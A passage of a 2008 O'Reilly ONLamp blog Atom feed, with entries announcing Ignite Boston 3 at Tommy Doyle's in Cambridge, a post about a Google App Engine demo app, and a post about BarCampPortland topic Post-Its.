The third Ignite Boston will be on Thursday, May 29, from 6 to 10pm at &lt;a href="http://www.tommydoyles.com/harvard/"&gt;Tommy Doyle&amp;#8217;s&lt;/a&gt; in Harvard Square, Cambridge, MA. This time, we&amp;#8217;re using two floors at Tommy Doyle&amp;#8217;s, so the acoustics will be better than our first event there.  From 6-6:45 pm, mingle and talk tech with your fellow FOOs, alpha geeks, and techies from the greater Boston area. After the mingling and social stuff, we&amp;#8217;ll have a couple of special keynote presentations by Jonathan Zdziarski of iPhone notoriety and John Viega of Security notoriety to kick off our Ignite talks. Then, onto guest speakers who&amp;#8217;ll catch you up on the cool, new, innovative stuff going on in technology today. Don&amp;#8217;t blink or you&amp;#8217;ll miss their lightning-fast, five-minute presentations. During intermissions, get a cold beer and chat with speakers, sponsors, and O&amp;#8217;Reilly&amp;#8217;s own editors. Join us Thursday, May 29, for a fun, energetic evening of talking, learning, collaborating and drinking! 
&lt;/p&gt;
Check out the events and activities of previous our &lt;a href="http://ignite.oreilly.com/"&gt;Ignite&lt;/a&gt; events.
&lt;p&gt;
&lt;strong&gt;RSVP&lt;/strong&gt;
If you plan to attend, email &lt;b&gt;IgniteBoston&lt;/b&gt; at &lt;b&gt;oreilly&lt;/b&gt; dot &lt;b&gt;com&lt;/b&gt; for the chance to win $300 worth of O&amp;#8217;Reilly books of your choosing. You must be present to win.  There will likely be other items like tee-shirts and other promo items for those who alert us ahead that they plan to attend.
&lt;/p&gt;&lt;p&gt;
&lt;strong&gt;Presentation Guidelines&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ignite is a user-generated event.  If you&amp;#8217;re interested in speaking, then &lt;a href="http://ignitenight.thirdeye.railsplayground.net/events/form/ignite_boston_3"&gt;submit a proposal&lt;/a&gt; for consideration.  
&lt;/p&gt;&lt;p&gt;
Presentations must:
&lt;ul&gt;
&lt;li&gt;Be no longer than 5 minutes&lt;/li&gt;
&lt;li&gt;Be on an innovative topic (no sales pitches, please!)&lt;/li&gt;
&lt;li&gt;Be viewable on a PC [a MacBook Pro with Powerpoint and Keynote, and PDF] with standard AV equipment&lt;/li&gt;
&lt;li&gt;Did we mention, no Sales Pitches.&lt;/li&gt;
&lt;/ul&gt;
&lt;/p&gt;

    </content>
</entry>
<entry>
    <title>Greedy Coin Google App Engine Application With Source</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/greedy_coin_google_app_engine.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23652</id>
    
    <published>2008-05-06T04:00:44Z</published>
    <updated>2008-05-06T04:10:16Z</updated>
    
    <summary>Here is an application on Google App Engine Application I wrote for an upcoming PyAtl Talk, and an upcoming O&apos;Reilly Online Article: http://greedycoin.appspot.com/ Quick notes: Really liking the datastore API. I also liked the Django templates even though I have touched them...</summary>
    <author>
        <name>Noah Gift</name>
            </author>
            <category term="Technical" />
        <content type="html">
&lt;p&gt;Here is an application on Google App Engine Application I wrote for an upcoming PyAtl Talk, and an upcoming O&amp;#8217;Reilly Online Article:  &lt;a href="http://greedycoin.appspot.com/"&gt;http://greedycoin.appspot.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Quick notes:&lt;/b&gt;  Really liking the datastore API.  I also liked the Django templates even though I have touched them in over a year and a half.  I am looking for Google App Engine consulting or contract work&amp;#8230;anyone..anyone :)&lt;/p&gt;
    </content>
</entry>
<entry>
    <title>Post-Its from BarCampPortland</title>
    <link rel="alternate" type="text/html" href="http://www.oreillynet.com/onlamp/blog/2008/05/postits_from_barcampportland.html" />
    <id>tag:www.oreillynet.com,2008:/onlamp/blog//10.23645</id>
    
    <published>2008-05-05T19:07:49Z</published>
    <updated>2008-05-05T19:08:13Z</updated>
    
    <summary>(Cross-posted from perlbuzz.com) Selena Deckelmann has come back from BarCampPortland with copies of every Post-It on the topic selection board. The topic selection board at an unconference like a BarCamp is where people write on a Post-It a topic they&apos;d like to...</summary>
    <author>
        <name>Andy Lester</name>
            </author>
            <category term="Articles" />
        <content type="html">
&lt;p&gt;&lt;i&gt;(Cross-posted from &lt;a href="http://perlbuzz.com/2008/05/postits-from-barcampportland.html"&gt;perlbuzz.com&lt;/a&gt;)&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;a href="http://www.chesnok.com/daily/"&gt;Selena Deckelmann&lt;/a&gt; has come back from &lt;a href="http://barcamp.org/BarCampPortland"&gt;BarCampPortland&lt;/a&gt; with copies of every Post-It on the topic selection board.  The topic selection board at an unconference like a BarCamp is where people write on a Post-It a topic they&amp;#8217;d like to see presented, and put it on a board for all to see.  Whichever topics people vote for are the topics that are presented.
&lt;/p&gt;
&lt;p&gt;
Scanning through the &lt;a href="http://www.flickr.com/photos/selenamarie/sets/72157604886698562/"&gt;photoset on Flickr&lt;/a&gt; is fascinating, as these often are.  Topics range from &lt;a href="http://www.flickr.com/photos/selenamarie/2466161061/in/set-72157604886698562/"&gt;Pirates Paying Artists&lt;/a&gt; to &lt;a href="http://www.flickr.com/photos/selenamarie/2466150155/in/set-72157604886698562/"&gt;WordPress as CMS&lt;/a&gt; to &lt;a href="http://www.flickr.com/photos/selenamarie/2466154305/in/set-72157604886698562/"&gt;How to lie with statistics&lt;/a&gt; to &lt;a href="http://www.flickr.com/photos/selenamarie/2466147245/in/set-72157604886698562/"&gt;Should we replace Congress with a wiki?&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
Also fascinating to see how widespread Twitter has become, with half the Post-Its leaving @usernames as contact information.
&lt;/p&gt;
&lt;p&gt;
Makes me want to start up a Bar Camp Chicago. And move to Portland.
&lt;/p&gt;
    </content>
</entry>
</feed> 
